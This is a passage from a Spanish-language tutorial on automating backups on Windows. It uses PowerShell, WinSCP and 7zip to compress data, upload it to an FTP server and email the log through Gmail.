La variable "$fechaHoraActual" alamacena la función "Get-Date" usando el parámetro "-uformat" seguido de la estructura fecha y hora "DD/MM/AAAA - HH:MM:SS" esto se añadirá en el asunto y cuerpo del mensaje, después del nombre del fichero de log, reflejará el momento actual en el que ha sido enviado este adjunto.Se almacena también la contraseña en la variable "$passwd" en una función "ConvertTo-SecureString" que se pasará en una cadena de texto segura.La ventaja de incluirla la hora es que se puede calcular el tiempo transcurrido en el proceso de backup desde el momento en el que se ejecutó la tarea programada hasta el momento en el que se recibe el mensaje de correo electrónico. Esta información también se podría ver en el historial del programador de tareas como se puede observar en la figura 10 de este artículo.
usuarioEmail: Se cambiará por el nombre de usuario de la dirección de correo electrónico correspondiente.
passwdEmail: Password del usuario (dirección del correo electrónico) necesaria para autenticarnos en el servidor de correo.
asuntoEmail: Texto del asunto del Email (-Subject).
cuerpoEmail: Texto del cuerpo del Email (-Body).
backup*.log: Nombre que corresponde al fichero de log adjunto a enviar en el mensaje.
En mi caso usaré Gmail como servidor SMTP. En un principio no va poder autenticarse aunque se le pasen correctamente las credenciales de usuario. Esto es debido a la protección de seguridad que implementa Gmail para evitar el inicio de sesión de aplicaciones de terceros menos seguras.
Para poder autenticarse con PowerShell en una cuenta Gmail tan solo se tendría que activar el acceso a "Aplicaciones menos seguras". En el siguiente enlace podemos acceder a esta sección: https://myaccount.google.com/lesssecureapps.
En el caso de tener activado un segundo factor de autenticación (2FA) con Google Authenticator, esta característica estaría deshabilitada y no se podría realizar este proceso.
Figura 15: Activar el acceso a aplicaciones menos seguras en una cuenta Gmail
En el script batch inicial donde se realiza el backup con WinSCP se añade al final la siguiente línea de código indicándole el que le ejecute con powershell, el argumento -filehará la llamada al script .ps1 desde un script .bat. De este modo no se tendrá que modificar la tarea programada.
powershell.exe -file "{PATH_FICHERO.ps1}"
Figura 16: Llamada a un fichero script .ps1 desde un script.bat.
Se puede ver el mensaje de correo electrónico que fue auto-enviado a uno mismo con un fichero adjunto "backup_DD-MM-AAAA.log" donde se muestra la fecha y hora de envío en el cuerpo del mensaje en formato "DD/MM/AAAA - HH:MM:SS".
Figura 17: Correo enviado con Powershell y recibido en Gmail con fecha y hora del log.
El procedimiento de enviarse el log por correo electrónico a través de PowerShell simplemente lo menciono por si es de interés para alguien. Personalmente en mis cuentas de correos Gmail, Hotmail, Yahoo. Tengo habilitado un segundo factor de autenticación, considero que es lo más seguro y que todo el mundo que quiera tener sus cuentas más seguras use, en la medida de lo posible, más de un factor de autenticación.
En el caso de tener una cuenta de correo Gmail por ejemplo con autenticaciones 2FA. Aconsejo crear una cuenta de correo exclusivamente para esta finalidad y configurar las opciones de reenvío de mensajes de esa cuenta para que reenvíe a otra cuenta más personal estos correos, en la que si se tenga habilitada la autenticación 2FA.
Script Powershell usando WinSCP y 7zip
Hice también un script muy similar en Powershell. Con dos diferencias (no muy relevantes).
No es posible generar el log del proceso de compresión de datos que realiza 7zip.
Si queremos establecer password al fichero comprimido, el formato de fichero debe ser .7z. El uso del cmdlet "Compress-7Zip" no permite establecer password a ficheros de formato .zip.
Primero de nada quitamos las restricciones de ejecución de scripts ejecutando como administrador una consola Powershell.
## Fin Establecer Varibles ##
#############################
# Comprobrar si ya existe algún fichero de log o backup anteriores
if (Test-Path ($TestBackup7z, $TestBackupLog)) {
Remove-Item -Path ($TestBackup7z, $TestBackupLog) -Recurse -Force
}
## Compresión de datos ##
Compress-7Zip -Path $pathLocalDatos -ArchiveFileName $TempFichero7z -Password $Passwd7z -EncryptFilenames
## Enviar backup al servidor FTP ##
# Crear nueva sesión FTP
New-WinSCPSession -SessionOption (New-WinSCPSessionOption -HostName $HostServidorFTP -Protocol Ftp -Credential $CredencialesFTP) -SessionLogPath $LogBackupFTP -DebugLogLevel 2
# Eliminar el viejo fichero comprimido de datos del servidor FTP
Remove-WinSCPItem -Path $PathRemotoFTP/Backup*.7z
# Subir el nuevo fichero comprimido de datos al servidor FTP
Send-WinSCPItem -LocalPath $TempFichero7z -RemotePath $PathRemotoFTP
# Cerrar sesión FTP
Remove-WinSCPSession
## Eliminar logs ##
# Conservar el fichero de log, eliminar solo el fichero temporal backup 7z
Remove-Item -Path $TempFichero7z -Recurse -Force
# En el caso de querer eliminar también el log de backup, descomentar la siguiente línea
# Remove-Item -Path $logBackupFTP -Recurse -Force
# Salir
exit
Adaptamos el código modificando los valores resaltados en negrita de las variables. Lo guardmos en un fichero con extensión .psi y susituímos el batch incluído en la tarea programada de Windows por el script Powershell.
Figura 18: Script ps1 en Powershell. Backup completo + envío de log vía email.
Espero que algo de esto le resulte de utilidad o de ejemplo para aquell@s que quieran realizar sus propios métodos para sus copias de seguridad.